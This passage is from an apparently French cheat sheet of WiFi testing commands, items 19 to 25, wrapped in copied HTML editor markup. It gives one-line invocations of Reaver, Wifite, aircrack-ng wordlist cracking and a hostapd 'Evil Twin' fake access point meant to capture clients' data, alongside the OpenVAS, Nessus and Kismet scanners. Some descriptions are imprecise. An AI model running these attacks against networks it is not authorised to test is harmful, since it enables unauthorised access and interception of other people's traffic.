</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">tail -f /var/log/syslog</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">19. **Utilisation de Reaver**- **Commande :** `reaver`
- **Description :** Reaver est un outil qui peut être utilisé pour attaquer les réseaux WiFi protégés par WPA/WPA2 en utilisant une attaque par force brute sur le mot de passe.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ2z ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">reaver -i wlan0 -b &lt;BSSID&gt; -vv</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

20. **Analyse des vulnérabilités avec OpenVAS**- **Commande :** `openvasmd`
- **Description :** OpenVAS est un outil de scan de vulnérabilités qui peut être utilisé pour identifier les failles de sécurité sur les réseaux WiFi.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ30 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 57.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">openvasmd --create-report --format xml --output /path/to/report.xml</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

21. **Utilisation de Wifite**- **Commande :** `wifite`
- **Description :** Wifite est un outil automatisé pour attaquer les réseaux WiFi. Il peut être utilisé pour détecter les réseaux, capturer les paquets et attaquer les réseaux WEP et WPA/WPA2.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ31 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">wifite</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

22. **Attaque de type Evil Twin avec Hostapd**- **Commande :** `hostapd`
- **Description :** Créez un faux point d'accès WiFi pour capturer les données des clients connectés.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ32 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">hostapd /etc/hostapd.conf</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

23. **Utilisation de Aircrack-ng pour attaquer WPA/WPA2**- **Commande :** `aircrack-ng`
- **Description :** Utilisez Aircrack-ng pour attaquer les réseaux WPA/WPA2 en utilisant une attaque par force brute.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ33 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">aircrack-ng -b &lt;BSSID&gt; -w &lt;wordlist&gt; capture-01.cap</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

24. **Analyse des vulnérabilités avec Nessus**- **Commande :** `nessus`
- **Description :** Nessus est un outil de scan de vulnérabilités qui peut être utilisé pour identifier les failles de sécurité sur les réseaux WiFi.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ34 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">nessus</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

25. **Utilisation de Kismet pour la détection des réseaux**- **Commande :** `kismet`
- **Description :** Kismet est un outil de détection et d'analyse des réseaux sans fil. Il peut être utilisé pour scanner les réseaux WiFi et détecter les vulnérabilités.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ35 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">kismet</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

